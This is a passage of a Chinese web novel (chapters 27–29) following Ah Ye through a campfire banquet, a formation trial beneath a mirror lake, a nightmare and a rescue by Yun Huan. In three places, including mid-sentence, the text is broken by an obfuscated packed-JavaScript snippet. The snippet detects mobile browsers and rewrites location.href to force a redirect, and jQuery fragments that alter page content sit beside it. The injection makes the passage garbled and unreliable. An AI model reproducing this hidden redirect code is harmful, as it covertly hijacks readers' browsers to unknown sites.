这话说的,好像他知道自己喜欢什么口味似的。阿也腹诽,操心这些事倒不如给我炼成丹丸,一口好几个。她轻咳一声,“多谢师兄上心。” “师妹之事,我自然上心。”席子瑞弯起眉眼。 这下就算是再迟钝,她也品出不对,不动声色地往后挪动,拉开距离。 “师妹何必拘谨。”席子瑞无奈道,“我并无二心,不过是念着那日的赏月情谊。” 赏月?她什么时候……蓦然间,阿也想起来,好像是有这回事。 正是那天,她搬回小楼,芳芪为自己践行,大宴宾客。 在席间吃饱喝足,阿也见月色正好,临时起意,偷偷拎起半坛酒,换了条山路回小楼,在半道僻静的树林里,撞见一道白影。 起初她吓了一跳,以为是什么魑魅魍魉,直到那人转身露脸,才放下戒心,好奇道:“你在这儿做什么?” “我在等你。”席子瑞含笑道。 “等我?”酒意上涌,阿也显露半分真面,挑起半边眉,打趣道,“在这等我?” 席子瑞眺望月色,微微笑起来,“今夜月色甚美。” 阿也同他望向那一轮明月,圆如银盘,月光皎皎,不禁点头赞同,“的确。” 说罢,她仰头灌酒,见底方才尽兴,随手将酒坛搁置路旁,哼起小谣,继续向前。直到山路尽头,才想起来还有这么个人。 于是蓦然回首,对上他的视线,月光清凉如水,从他脚下流过。 “师妹想起来了?” ……还不如不想起来。阿也心道,微微颔首,“多谢师兄挂念。” “我……” “小烨?小烨!”营帐外响起欢快的脚步声。 终于来人了。阿也松了口气,扬声道:“进来!” 这逐客令下得十分明显。席子瑞笑着摇头,“委屈师妹了,下次炼成丹丸再送来。”他收回药碗,提起食盒,撩开帐帘,与云欢擦肩而过。 最好没有下次。望着他远去的背影,阿也一阵头疼,不想同他扯上任何关系,以后能避则避。 云欢连蹦带跳地冲进来,“小烨!芳长老刚宣布今夜举行篝火宴会,让我们不醉不归!” 27. 宴会 才出狼窝,又入虎穴。 阿也盯着摆满一案的妆品首饰出神。 “好漂亮的头发。”云欢勾起她的发尾,绕成小卷,一松手,便弹开来,油润发亮,顺滑如匹练,“感觉怎么梳都很好看!” “宴会……我也要去么?”阿也小心翼翼地确认。 “当然了!”云欢狡黠一笑,“不仅要参加,还要漂漂亮亮地参加!”她拍拍胸脯,“这些是我从云漪师姐要来的钗环,可贵重了,她自己都舍不得戴呢!还有这些胭脂眉粉,听说是给你用,卓小姐都快把那些姑娘们的妆奁掏空了!” 阿也跟着笑,看着银镜里云欢摆弄她的头发,作出各种花样。 “这个好看,这个也不错,这边散发更好看,但不如辫子方便……” “想起你练体术,那还是辫子吧。”云欢捉住阿也的鬓发,一边换绑法一边示意,“这是二股辫,这是五股辫,还有鱼骨辫,你喜欢哪一种?” 阿也看来看去,着实看不出区别,便道,“都可以。” “那就五股辫吧,然后扎起来,盘上去……”云欢示范一遍,见阿也连连点头,笑起来,“这可是我们师祖首创呢,从来没见其他人这样绑过,小烨喜欢就好。” “师祖还教你们绑发?”阿也好奇道。 “嗯呢,我们都是被师祖捡回来的孤儿。”见阿也一怔,云欢眨了眨眼,歪头道,“咦?小烨你不知道云间派的来历吗?” 阿也摇头。 云欢清了清嗓子,“自古以来,天地配以阴阳,以男子为阳,女子为阴。虽说独阳不生,孤阴不长,但在很长一段时间里,修士以男子为尊,百姓因此轻贱女子,常有抛妻弃女之事。” “师祖心有不忍,收养那些可怜女子,又破格改进功法,教她们防身之术,开垦荒田。有了安身立命的根本,也就有了云间派的雏形。” “等到师姐们成长起来,外出历练,从各个地方带回来受苦受难的女孩子,收留她们,教习她们,也庇护她们,云间派因此发展壮大。” “难怪是女宗。”阿也恍然大悟,原来是代代相传。 “以前也有男子慕名前来,但都别有所图。”云欢轻哼一声,“男人没一个是好东西。” 阿也不由笑起来。 “所以不要在意。”云欢拍拍她的肩膀,“我们很多人都是孤儿,有的甚至还不如是个孤儿,但那又怎么了?我们在云间派长大,云间派就是我们的家。” 难怪石磊如此敬重云间派师祖。阿也心头一动,“想必师祖自创功法,极为不易。” “也不是自创……”云欢顿了顿,小声道,“师祖曾与我们提起,她少时曾跟随某位大人,不过学到些皮毛。” “某位大人?”阿也讶然。云间派师祖力能斩蛟,她所追随的人物想来也是至强者,怎么从未听说过? “……已然沉睡了。”云欢低声道。 “这样。”阿也不再说话,看云欢忙活。 终于打理完,云欢连连称赞,“真好看。”她嗔怪道,“可惜你总是随手一扎,倒白费这头缎子样的发了。” 阿也下意识回答,“我娘去得早。”说罢,立刻清醒,自己怎么能用华烨的事去博人同情? 温热擦过鬓角,搭上头顶。云欢轻轻抚摸她的头,仿佛舔犊的母兽,“辛苦了。” 阿也注视镜中那张华烨的面容,熟悉的五官,陌生的神情。忽然间,镜面荡起波纹,仿佛又回到不知名的梦里,与莲塘里被涟漪扭曲的倒影对视。 “今夜不醉不归!” “不醉不归!” 篝火肆意燃烧,火光映亮周围一张张或喜或怒或哀或乐的脸,众生百态,在寂静的雪夜里格外鲜明。 华谏端起酒盏,久不入口,默然注视着不远处的那人。 今夜她盛装出席,毛氅拥身,发间缀饰珠翠,眉间描上花钿,全然不同的招摇——招来好几个人问他。 “华兄,令妹可有道侣?” 又来一个。华谏随手将人打发了,饮罢一盏。 大抵她也是被问烦了,索性躲进偏僻的树林,借一块糙石磨剑,佐以酒液润滑,往来复去,再用白帕拭去脏污,揽剑对月,欣赏自己的作品。 其实那剑本就不必打磨,刃端在月色里切出笔直的利线,寒光熠熠,冷如三九,但于她似乎是个消遣,不为其他。 平心而论,与自己相比,华烨的长相只能算作中上,身姿更称不上曼妙,但她坐在那里,自顾自地磨剑,却叫人难以移开视线。 “华公子在看什么?” “没,没什么。”华谏仓皇收回视线,不经意间洒落了酒盏里的清液,打湿了衣摆,于是借机告辞,“我去换一身。” 穿过鼎沸的人声,华谏钻进重重林影。距离逐渐拉近,他摸到手心的汗水,突然生出一种自投罗网的错觉,踌躇良久,终于叫出那一声,“阿也。” 这一声令她警觉抬头,像是潜伏林中的野兽,然眼眸一转,鲜活起来,仿佛重新融入这世间。她没好气道:“第一,不要这样叫我,第二,有话快说。” 干什么不好,非要上来讨嫌。华谏顿时后悔,又尽力掩饰,“你……你明日做什么?” “芳长老不是下令让所有亲传弟子闯阵么?”阿也疑惑,“你我都算在此列。” “你……”华谏被她的态度噎住。真是个没情趣的。他心想,却又恍惚,不明白自己究竟想听到怎样的回答。 等了半天,不见下文。阿也皱眉,“你到底想说什么?” “我……” “小烨!”云欢连蹦带跳地跑过来,身后跟着一大帮姑娘,没想到短短几天,就混成了领头的。 于是他见她收起袖剑,眨眼间变换一副面孔,笑着扭过头,与云欢交谈。 “猜猜这是什么?”云欢得意地展示手中陶罐,不等阿也开口,迫不及待地揭晓答案,“是蜜什香露!” “上次华公子不是给了我一枚金叶子吗?我买完糕点还剩好多,心想不能浪费,就拿剩下的零钱……” 阿也咳了两声,打断她。 “怎么忽然咳嗽……啊!”云欢这才注意到华谏,“哈哈……华公子你也在啊?真巧……” “不巧。”华谏绷着脸,心下莫名松了一口气。 “别生气别生气。”云欢将陶罐递给他,心虚道,“既然是花公子的钱买的,自然该还给公子。” “我有那么斤斤计较?”华谏瞪她一眼,揭开陶罐红封,放在案上,“情况特殊,不许贪杯。” “公子大度!” “多谢公子!” 姑娘们见机行事,吹捧一番,目送华谏离开,窃窃私语起来,“他长得好好看啊。” “小烨快来尝尝!”云欢替她斟酒,琥珀色的清液刚漫过杯底,被她抬手拦下。 “怎么了?哦对,你还有伤在身,不宜饮酒。”云欢懊恼道。 “无妨,浅尝辄止。”她端起杯盏,浅抿一口。 “怎么样怎么样?”云欢眨巴着眼,一脸期待。 其实她已尝不出什么味道,但还是点点头,笑道:“好喝。” “来来来,大家都喝!”云欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239288|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起陶罐,见谁端杯就给谁倒上一点,兴高采烈道,“今夜不醉不归!” “华姑娘。”有位面生的姑娘鼓起勇气上前,脸颊飞红,“我,我是秦渝。” 见她面生,应该是被困在老巢的姑娘。以为有什么重要讯息,阿也认真问道,“怎么了?” “我……我有一事想请教姑娘。”秦渝扭捏一阵,还是开了口,“姑娘觉得华公子如何?” 华谏?阿也眨了眨眼,如实道:“相貌出众。”当个花瓶绰绰有余。 “如,如此。”秦渝绞起手指,“那,那华公子平日里待姑娘如何?” 待我如何?阿也想了想,虽说华谏平日里与她不对付,但关键时刻愿意挺身而出,舍命相救,于是回答:“待我很好。” “其实……”秦渝声若蚊蝇,“其实我们也这样觉得。” “什么?”阿也不明所以。 秦渝凑近了,压低声音道:“姑娘与华公子,真乃天作之合。” 阿也失笑,“你们误会了,华谏是我兄长。” “啊啊啊啊!”一连串的尖叫引来主意,秦渝整张脸红透了,讪讪道:“抱歉……”说罢立刻拉着伙伴逃走,传出好一阵长吁短叹。 还是孩子心性啊。阿也笑笑,并未放在心上,转头去听云欢闲聊,因此忽略了那道如影随形的目光。 苍穹之上,朗星稀疏,地面的篝火熊熊燃烧,隐隐有涛声从远方传来,温暖地浸泡着这个宁静的雪夜。 还好只倒了一点,没有浪费。阿也摩挲杯身,慢慢喝完剩下的清液,倒扣杯盏,笑看不远处的姑娘们闹成一团。 忽然,琅矜推了一把驭菱,两人吵嚷起来,姑娘们跟着分为两派。云欢隔开两派,听她们争辩,面色变了又变,一手拉住一个,上前来,为难道:“小烨,你来评评理!” “怎么了?”阿也蹙眉。 “我想跳舞,她不让我跳。”琅矜委屈道。 “我没有不让你跳,我是说,你别拉着姑娘……”驭菱瞧一眼阿也,小声道,“姑娘身上还有伤呢……” “姑娘这么厉害,一点小伤而已!”琅矜满不在乎,“就要跳!”见驭菱又要发作,她忙向阿也投来求助的目光。 “难得举行宴会,就让她们跳吧。”阿也解围,“我有伤在身,就不跳了。”反正她也不会跳。 云欢与琅矜对视一眼,露出些许失望。 哪里还看不出这是在捉弄她?阿也笑着催促,“云欢你去跳。” 没想到这一出,云欢愣住:“啊?我……” “云姑娘也来跳!”诓不了杀神,琅矜干脆拉起云欢的手,转身又招手叫上几个伙伴,绕着篝火跑了一圈,大声道,“有没有人擅丝竹?随便来首曲子!” “我来!”芳芪豪迈回应,同对面长老露出歉意的微笑,随即取出古琴摆在案上,端正地坐好,抬指勾弦。 好熟悉的曲子。旁侧品酒的凌栾忽然一顿,看向芳芪手中古琴,好像在哪里听过。 雪悠悠下大了,火光如碧波荡漾,琴声飘扬,直飞天际,召出一轮弦月。姑娘们手拉着手,欢笑着跳起舞来,兴到浓时,有人推杯换盏,有人拍手叫好。 被这气氛感染,似是酒劲上头,阿也一时犯起懒来,靠在树旁,一手抚膝,一手支起下颌,看云欢在漫天飞雪里起舞。 某个瞬间,不知是雪落得正好,还是云欢的步伐正好,她竟生出一种错觉,似乎曾有这样的人,也曾这般翩翩起舞。 那夜月光如水,繁花似锦—— 只是那时她不知道那人是为自己而舞。 28. 闯阵 北风呼啸,将旌旗逼成一线。雪片肆意拍打脸颊,融化成一抹水痕,汇聚成珠,划过下颌,滴在手中剑刃上,被一分为二。 “华宗所有亲传弟子听令!”芳芪的声音压过狂风暴雪,响彻整个营地。 “在!”三十二人齐声应道。 “此阵以镜湖为障眼法,实则藏于湖底,共分十六区。弟子们两两分组,一组负责一区!此外,元脉新生,结界不稳,切记压制实力!” 字字有力,句句坚定,仿佛迎面对敌,招招尽显杀机。 衣着也不同以往。她脱下往日宽大柔软的袖袍,换上旧时战甲,一丝不苟地梳起发髻,眉眼含煞。 阿也很久没见过这样的芳芪了。 那时在芳芪堂中静养,假寐时醒来,木窗外芳芪正在练武,穿的就是那套修身的战甲,威风凛凛,但等到她从阴山回归后,便再未穿过。 再后来,阿也在夜色中游荡,偶尔路过,会见到芳芪独坐堂中,仔细擦拭那套遍体鳞伤的战甲,烛灯幽幽,光晕朦胧,仿佛过往脆弱的时光。 她等这一天大概已经等了很久。阿也心想。 “自行组队!一刻钟后出发!”芳芪拍掌,阵列有序散开。熟人自成一组,陌生的互相交底,寻找合适的搭档。 转头对上云欢亮晶晶的眼睛,阿也无奈,“你真要和我一起去?云间派不是负责扫荡据点么?” “当然是担心你再冒险了,你身上的伤还没好呢!”云欢努了努嘴,“再说了,去哪儿都一样,都是为了黎明苍生!” “我方才还见云漪师姐来找你……” “云漪师姐可管不了我。”云欢叉腰,“我可是师祖的关门弟子,真要论起来,师姐还得管我叫一声师叔呢!” 不如叫你祖宗得了。阿也心道。 见人不吃这套,云欢挽上她的臂弯,摇来晃去,“哎呀,小烨你就别管了,我说了跟着你就一定跟着你。别忘了我的花还在你身上呢,我要是跟着师姐去据点,不就用不上了?” 说的越多,阿也越觉得奇怪,这几天修养下来,伤已好了大半,云欢为什么非得跟着她?转头见到来人,她拱手道:“芳长老。” “你有伤在身,不必多礼。若不是时间紧迫,又实在无人,本该让你好好歇息。”芳芪叹道,扶起阿也。 奇怪。按测赋来看,芳芪应当知晓华烨丹田有缺,却对她出手救下卓清歌一事并无异议。阿也眯起眼,果然另有隐情。 “你真要同我们一起前去?”芳芪转向云欢。 “长老,我,我……”刚才威风凛凛的云欢一下泄了底气,结巴起来。 “不必害怕。我无意干涉你的选择。”芳芪道,“当年若不是师祖出手相救,恐怕我早已入了长生殿……对了,师祖近日可好?” 云欢一愣,阿也接过话,“尚好。” “那便好。”芳芪安抚道,“不必紧张,你愿意留便留下来,想走我也不会拦。” 云欢看了眼阿也,坚定道:“我想和小烨一起。” “好孩子。”芳芪笑笑,转身离开时,猝不及防与凌栾对上眼神,一怔,匆匆移开视线。 “小烨,为什么……”云欢犹豫地传音。 “应当是长老与云间派的各位商量好了,提前封锁师祖辞世的消息,以免丧失士气。”阿也猜测道,心下不免疑惑,石磊留在云间派莫非就为了这事? “师妹,若你不嫌……” 听到这声,阿也用力闭了闭眼,怎么又是他。她不情愿地转身,见到席子瑞含笑的面容,以及他身后凌栾平淡的神色。 气氛一下变得十分诡异。四人你看看我,我看看你,没有人再说话。 “华烨,你找好搭档了……”华谏刚露面,见状立即沉默。 时间紧迫,阿也觉得自己该主动说点什么,于是尬笑两声,“真巧,大家都找搭档?” 气氛更加诡异了,尤其是在席子瑞说出那句“师妹心地善良,自然招人喜爱”之后,五人再度缄默。 场面陷入僵局。阿也一阵头疼,她绝对不可能与席子瑞组队,至于华谏,也……干脆凌栾与云欢一组,华谏与席子瑞一组,她另外再找个人得了! 思来想去,这样最完美,谁也不得罪。阿也说完想法,云欢第一个跳出来,“不行!华公子不能和席师兄一组!” “为什……”电光石火间,阿也想起那短短九个字,及时掐断自己的话,心虚地附和,“对,对,不能一组。” “让师妹为难,是我之过。”席子瑞歉然道,“我再另寻一位搭档吧。”说罢,他颔首离开,不给人挽留的机会。 见凌栾眼神一黯,云欢主动牵起她的手,心疼地哄道:“师姐师姐,我跟你一组好不好?” 凌栾点点头,克制不住地向外张望,见那道白影与另一少年并肩站立,抿唇不语。 阿也叹了口气,识海里忽然传来华谏的声音,“不必内疚,这事与你无关。”她看一眼华谏,后者扭头避开她的视线,耳根却红透了。 怎么感觉和华谏组队也不是个好选择?阿也蹙眉。 就在此时,芳芪的声音适时响起,“集合!分组列队!” 十六组迅速站好,按入门时间排列。阿也本该站在最后,但托华谏的福,占到居中位置。 “此番闯阵,不惜一切代价——只许成功不许失败!”芳芪拔出印有忍冬的大旗,振声道,“出发!” “是!”三十二人的呼应驱散风雪,直冲云霄。 脚步碾过厚厚积雪,吱呀作响。阿也默然扫过身边那些陌生或熟悉的脸,五官不尽相同,但都很年轻。 都还是孩子啊。阿也不免叹了口气,但所谓亲传弟子,弟子中的精锐,优先享受宗门资源,也优先为大义献命。 卯时,天光微亮。十六组弟子抵达镜湖,沿岸边逐一分散。湖水笼罩在迷雾之中,若隐若现。 “师姐,师姐!”有声音追上来。 阿也回身,是位桃腮粉面的少女,瞧着有些眼熟,“你是……” “我叫桃夭,是桃之夭夭,灼灼其华的那个桃夭。”桃夭挥舞一下拳头,“也是要打得混元兽逃之夭夭的桃夭!” 这一下令阿也想起来,是出发那天在凉亭中为自己说话的师妹,笑道,“原来是桃夭师妹。” “师姐想起我了?”桃夭凑上来,满脸期待。 阿也一顿,说不出自己曾站在凉亭外偷听她们谈话。 “想不起来也很正常啦。”桃夭不甚在意地笑笑,话锋一转,“但我一直都记得师姐哦!” 不等阿也开口,华谏插嘴道:“记得她什么?” ”其实就是一件小事啦!师兄不要说出去。”桃夭小声道,“刚上山那年,余长老派我去挖灵草,结果不小心在侧峰里迷路了,又不敢说,还摔了一跤,大半夜躲在草丛里哭。” 她不好意思地挠了挠头,“那时候不知道师姐住在侧峰,应该是我吵到师姐睡觉了,结果师姐不仅没生气,还亲自给我上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239289|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,背着我下山……” 啊,是她。被桃夭这样一说,那张涕泗横流的脸与眼前笑意盈盈的脸在阿也脑海里重合又分开。 其实那天她按惯例在林中练剑,听到哭声,以为有东西混了进来,一路提剑找过去,结果在乱草堆里对上一双泪水涟涟的眼睛。 “师姐真的是很好很好的一个人——我一辈子都会记得师姐的!”桃夭一句话总结。 “你才多大,就一辈子了?”华谏不屑道。 阿也瞪他一眼,忍住给他两拳的冲动。 “师兄别笑我,我是很小啦。”桃夭皱起鼻子,“可人一辈子记得的事也就那么几件呀。” ”对了!差点忘了。”她一拍额头,区出一枚香囊递给阿也,“这是我亲手给师姐做的护身符,还去寺里开过光的!希望能保佑师姐平平安安!不过我手笨,师姐千万别嫌弃……” 阿也接过香囊,红底布上歪歪扭扭绣了两个白字——平安。触及细密的针脚,她心头微微一动,“你也是。” “桃夭!该走了!”不远处传来她搭档的呼唤。 “来啦来啦!”桃夭连忙回应,转身前对阿也摆摆手,“那师姐再见啦!” “再见。”阿也学她摆摆手,见她蹦蹦跳跳地跑远了,低头将香囊佩在腰间,白衣里醒目的一点红。 “好粗糙的绣工。” 斜睨一眼华谏,见他嘴上嫌弃,眼里全是羡慕,阿也便不与他计较,沿着湖边疾走。 “诶,诶!你走那么快干什么?”华谏紧紧跟在她身后,连连抱怨。,“不是还有小半个时辰?慢点走不行么?” “你今天怎么了?从早上见到你,就一副忧心忡忡的样子,谁招惹你了?” “不会还在为席子瑞的事过意不去吧?我都说了那不关你的事……” 阿也深吸一口气,停下脚步,忍下怒气,“华谏。” 华谏一愣,跟着止步,“怎,怎么?” “闯阵,是会死人的。”她冷声道。 “这,我当然知道会死人。”华谏越说越小声,仍嘴硬地哼了一声,“跟着你我都不知道见了多少死人了。” “你看过我杀人,那是因为我不想看见你死。”阿也抬起眼,指向湖对岸一一亮起的火把,“我可以救你、救云欢、救凌栾,但我救不了三十一个人。” “这不是个人擂台赛,这是合作才能活下来的生存战,所以别耽误时间,快点做好准备。” 未知的事情太多。引路人是谁,公子闲实力几何,如果自己真是他们要找的人,她该如何是好?华烨又要怎么办? 无法掌握全局令她太过焦虑,竟在华谏面前失态了。阿也咬唇,平复起伏的心绪,低声道:“抱歉,言重了。” “你说的对。”华谏闷闷道,“快走吧。” 第一缕晨曦刺破混沌,阿也点燃第九区的火把,以元力引动火苗升腾。 黎明将至,四周逐一亮起。十六朵烈焰隔空连成一线,勾勒出新月的图案,阵法即成。 转化阵法,以芳芪为阵眼,十六组亲传弟子为分支,反向炼化这不知名的阵法——至死方休。 辰时已到,芳芪擎起那面绘有忍冬的大旗,在空中挥出赫赫风声,一字一顿地喊出那个熟悉的密令,“游、界、逆、行!” 十六道绚丽金光升空,一轮满月高悬,驱散迷雾。水面倒映出扭曲的虚影,随后清气上浮,黑气下沉,仿佛天地初开,光暗从此分明。 “动手!” 29. 晶柱 湖面倒映出一轮璀璨的满月,而水底黑影绰绰,似有无数宫殿。阿也与华谏对视一眼,纵身一跃。 “扑通!” 被汹涌暗流裹挟着下坠,阿也稳住重心,手却被人一把抓住。她抬头看去,对上那双琥珀色的眼睛。 耳边水声哗啦,脚下的黑影迅速膨胀,越过周身,遮去头顶金黄的月光。识海之中,链接熠熠闪光,她听见华谏的声音—— “姐姐!” 这一声将她拽出黑暗,落入满天灯火之中。万千天灯升起,烛火闪烁仿佛亮晶晶的碎星,将夜空照得亮如白昼。 收回手,不免愣神。 陌生又熟悉的一只手,掌心宽阔,指节有力。虎口处的厚茧和指腹的伤痕都彰显此人常年习武,不是好惹的角色。 这不是华烨的手……阿也心道,一瞬间的茫然,等等,华烨是谁? “姐姐,你看那里!”笑声打断她的思绪。 阿也循声看去,右手边的少女身量娇小,红衣醒目。她指向高台,脸却隐在白雾之中,模模糊糊。 高台上,数十舞姬身着羽衣,簪花披玉,腕上银铃随动作荡起清凌凌的响声。瞧着腰肢细软,扬起水袖击鼓时却铿锵有力,引起台下一阵阵的叫好声。 她来这里,是做什么来着……念头飞速闪过,没来得及抓住。阿也跟着人群鼓起掌来。 一曲毕,众人散开,阿也被少女挽着臂弯,汇入人流之中。 大概是什么庆典,每家每户都挂上灯笼,系上彩绸。摊贩热情地叫卖,行人脸上都洋溢着笑容,谈笑声不绝于耳。 “姐姐!”少女拉过她,拿起摊上木盒里的飞花簪,在头上比了比,“这个好看吗?” 木簪隐入白雾,阿也张口却道:“好看。” 明明什么都看不见。阿也心想,见少女挑挑拣拣,一脸犹豫不决,手却自然掏出一袋金叶子,对摊主道:“劳烦将这些都包起来。” “谢谢姐姐!”少女高兴得蹦了起来。 阿也感觉自己笑了。 奇怪,有什么好笑的?她想着,目光定格在不远处的斋乐行中,门面装潢典雅,正中的琉璃柜里摆着一把金槽琵琶,玉镂红文,丝线细如发。 看起来就很贵。察觉自己抬脚向那琵琶走去,阿也不解,自己又不擅音律,买这干什么? “别走……”少女依依不舍地拉住她的衣袖,亦步亦趋,“姐姐,能不能留下来陪陪我?” “好……”电光火石间,阿也想起自己似乎是有事才来到这里,迟疑地摇头,“还是不了。” 时间凝滞在这一瞬,随即像齿轮般咔咔旋转起来。 仿佛被抽去牵线的木偶,少女愣在原地,四肢无力地垂落,头歪到一旁。来往行人停下动作,齐齐看来。 “为什么不留下来?” “为什么要走?” 他们高声质问,面容僵硬,仿佛粗劣的纸扎人偶,声音从四面八方涌来,演变成铺天盖地的声讨,仿佛她犯下了什么滔天大错。 “留下来。” “留下来!” 他们高举双手,迈着飘忽不定的步伐靠近,像被风吹得东倒西歪的稻草人。阿也后退一步,转身想逃,忽地顿住。 “轰隆——” 雷声轰隆。刹那间,整条街的人都远去了,她站在滂沱大雨里,隔着雨幕,与那人对视。 “你是谁?”那人问她。 “我……”阿也没能说完。她低下头,长剑没入胸膛,鲜血沿着剑刃崩裂的缺口激射而出,与冰凉的雨水混为一体。 艰难地抬起头。视线沿着剑柄,划过那只手上的乌金尾戒,掠过完好无损的暗银护臂,停留在白衣领边的金丝剑纹上。 好像在哪里见过。 顿了一下,竭力向上看。下颌利落,唇角锋锐,耳缀一粒赤红小珠,最终对上黄金面具里的那双眼睛—— 她曾在梦里见过的,那双妖冶的赤瞳。 阿也张了张口,血止不住地溢出来,“我……我是……” 天地在眼前溃散,残阳血红,回到熟悉的梦魇。 “原来……是梦啊。”阿也喃喃自语。抬起脚,“咔嚓”一声,她再度低头。 卖飞花簪的那名摊贩的头颅从脚下滚落,在堆积成山的尸骨间碰撞,跳过一张张灰白发青的脸,都是那条街上见过的无辜百姓,喷吐火焰的卖艺人、牙牙学语的孩童或如胶似漆的夫妇。 她颤抖地伸出双手,指缝浸满鲜血,粘腻湿滑,触感是如此清晰,犹带温热。 “丁零——” 囚铃声从远方响起,万千伥鬼涉水而来,仿佛大军压境。空洞的眼里鬼火闪动,嘴唇开合,吐出满是渴望的呓语。 “吃……吃了她……” “这里是……” 岩洞晦暗,正中供奉着一尊灰白色的石碑,刻着晦涩又古老的文字,周遭壁面刻满十六座四方锥塔,大小不一,顶端皆供奉一颗完整的骷髅头骨,缝隙被青苔填满。 云欢辨认半天,隐约认出几个石碑上的字,什么杀,什么死,心头不由一沉,这里简直就像个……地下墓穴。 还好大家都在。云欢松了口气,偶然间对上一座塔顶的头骨,空荡荡的双眼里似有绿光闪烁,赶紧移开视线,装作没看见。 “华烨?华烨!”仓皇的叫声忽然响起。 “怎么了!”云欢拨开围拢的人群,惊叫道,“小烨!” 华谏使劲摇晃华烨的身体,但后者双目紧闭,毫无反应,口鼻溢出黑气,在眉心盘旋,似乎在寻找入口,而一点红光闪烁着,努力抗衡。 云欢试着打出一掌元力,反被黑气弹开,急道:“华谏!到底怎么回事?” “没用的,我试过了!”华谏语无伦次,“我,我不知道怎么回事!一到这里,她突然就变成这样了!” “让我试试!” “我也来帮忙!” 众人穷尽十八般武艺,从针灸、驱邪再到奏乐,全试了个遍,不料华烨的状况反而恶化,她开始剧烈颤抖,气息急促,五官紧皱,好似正经历极大的痛苦,七窍渗出血珠,随后成股流下,沾湿长发。 “华烨!”华谏急得直冒冷汗,伸手去驱赶黑气,“你醒醒!” “冷静!”凌栾一把拍下他的手,让他看清自己手背上被黑气灼烧出的瘢痕。 “我与长老通信试……”凌栾的话说到一半,被云欢打断,“师姐,替我疏散人群!我有办法!” “都让开!快点!”凌栾大声道,指挥弟子们让出一片空地。 “华谏,你也让开!”云欢去拉华谏,但没能拉动。 华谏固执道:“我不……唔!”随即被一记手刀敲晕,身体软了下去。云欢拽住他的衣领,拖到身后,随手指了一个,“看住他!” “是!”被点到的桃夭当即站出来,一脸担忧地看来,“云姑娘加油啊!” 一步之遥,云欢抹了一把华烨脸上的血迹,拽断颈上项链,攥在手心,指尖发颤。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239290|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 师祖,保佑我。 云欢念出一连串晦涩的咒语,五指寸寸收紧,无形的热气流出指缝,扭曲周遭虚影。“去!”她轻叱一声,松开五指,让那朵虚幻的火苗落在华烨眉心。 红光大盛。华烨的血仿佛上好的燃料,供火焰暴涨数尺,肆意游走,将黑气尽数包围,一点点吞噬殆尽,再缓缓熄灭,堪称优雅。 华烨无意识地舒展眉眼,仿佛陷入甜美的梦中。 “没事了。”云欢舒出一口长气,面色发白。她松开手,露出掌心的物件。那是半节断裂的赤红晶柱,不知曾封存过什么,远远瞧着,竟让人心悸。 “云姑娘好厉害。”桃夭拍手叫好,又好奇道,“不过这是什么东西?我怎么从未见过。” “这是……”云欢正要解释,手却被人一把扼住,侧头看过去,正是凌栾。 “收好了,小心。”她低声道,眼神晦暗,“席子瑞那一组,不见了。” 洞穴幽深,回荡出内里急促的脚步声。 “席师兄,你要带我去哪儿?”少年浑身不自在,无他,只因席子瑞走得太快太急,经过交叉路口时没有丝毫犹豫——他好像很熟悉这里。 但这里是何处?是镜湖之下,是无名阵中,能如此熟悉此阵的人,那就只有…… “师弟果然聪慧。”前方的人停步,转过身,脸上是一贯温和的笑容,而雪白的鬓角开始变黑,仿佛老者重返年少,华发新生。 “你!”少年急忙后退数步,将长枪横亘在胸前,摆出防御姿态。 “听话,我便不伤他性命。”席子瑞忽然皱眉。发间有白与黑两种颜色拉锯,争相抢占领地,白色节节败退。 听话?谁听话?他是谁?少年惊异不定。 “否则……”席子瑞眯起眼,黑气从他袖中倾泻而出,将少年包围,提到半空。 “你——唔唔!”长枪落地,砸出清脆声响。少年四肢被禁锢,动弹不得,眼睁睁看着一缕黑气搭上自己脖颈。 发间黑色前进的势头减弱了,仍犹疑不前。 “听话。”席子瑞慢条斯理道,“否则凌栾活不过明日。” 黑色终于屈服了。雪白重回鬓发,甚至越过界限继续向前侵染,只留下几缕孤零零的碎发。 低低的笑声响起,又变为无奈的叹息,“要是她像你一样听话就好了。” “醒了,醒了!” “师姐醒了!” 喧嚣声涌入耳里,打破了平和的宁静。 好吵。阿也忍不住皱眉,缓缓睁开眼。 “嘘——”凌栾示意周边人安静。 待人清醒,桃夭慢慢扶起阿也,解释道:“师姐,你方才不知怎么晕了过去,是云姑娘救醒你。” 环顾四周,一张张关切的面容,陌生或熟悉,唯独施救者云欢站在人群外,双手绞来绞去,似是在纠结要不要上前,半晌后作罢,只敢投来担忧的目光。 阿也招手示意她靠近。 云欢踌躇片刻,挪步到她跟前,没底气道,“小烨,其实我……” “我知道。”阿也望进她躲闪的眼里,轻轻笑起来,“是你拿走了师祖遗物。” 